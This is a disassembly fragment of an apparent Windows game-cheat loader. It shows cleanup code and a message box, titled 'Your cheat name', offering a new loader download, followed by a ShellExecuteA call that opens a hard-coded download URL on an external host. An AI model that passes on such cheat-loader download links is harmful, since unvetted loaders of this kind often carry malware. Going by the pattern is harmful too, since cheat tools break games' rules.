mov qword [0x14009f7c8], rdi
mov rcx, qword [0x14009f8d0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0xc78]
mov rcx, qword [rbp + 0xca0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xd00]
cmp rdx, 0x10
jb 0x14005337e
mov rcx, qword [rbp + 0xce8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053379
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400533cf
call fcn.1400583c8
mov rdx, qword [rbp + 0xd40]
mov qword [rbp + 0xcf8], rdi
mov qword [rbp + 0xd00], 0xf
mov byte [rbp + 0xce8], 0
cmp rdx, 0x10
jb 0x1400533db
mov rcx, qword [rbp + 0xd28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400533d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400533d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400583c8
xor eax, eax
jmp 0x140053487
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, ebx
lea r8, str.Your_cheat_name
mov rcx, rax
lea rdx, str.Download_New_Loader__nClick_Ok_To_Download_
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, ebx
jne 0x140053427
mov dword [rsp + 0x28], 5
lea r8, str.http:__exitrog6.beget.tech_index.php_link_forums_download_loader.8_
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x14009f7c8]
mov rdx, qword [0x14009f7c0]
test rdx, rdx
je 0x14005345f
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x14009f7c8]
mov qword [0x14009f7c0], r12
test rcx, rcx
je 0x140053471
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14009f7c8], r12
mov rdx, qword [rbp + 0xc78]
mov rcx, qword [rbp + 0xca0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, edi
mov rcx, qword [rbp + 0x1140]
xor rcx, rsp
call fcn.140057e20
lea r11, [rsp + 0x1270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140046810
int3
lea r8, [rbp + 0x2d0]
mov edx, eax
call fcn.14004a6a0
int3
lea r8, [rbp + 0x2b0]
mov edx, eax
call fcn.14004a6a0
int3
call fcn.140046770
int3
call fcn.140046810
int3
call fcn.140046770
int3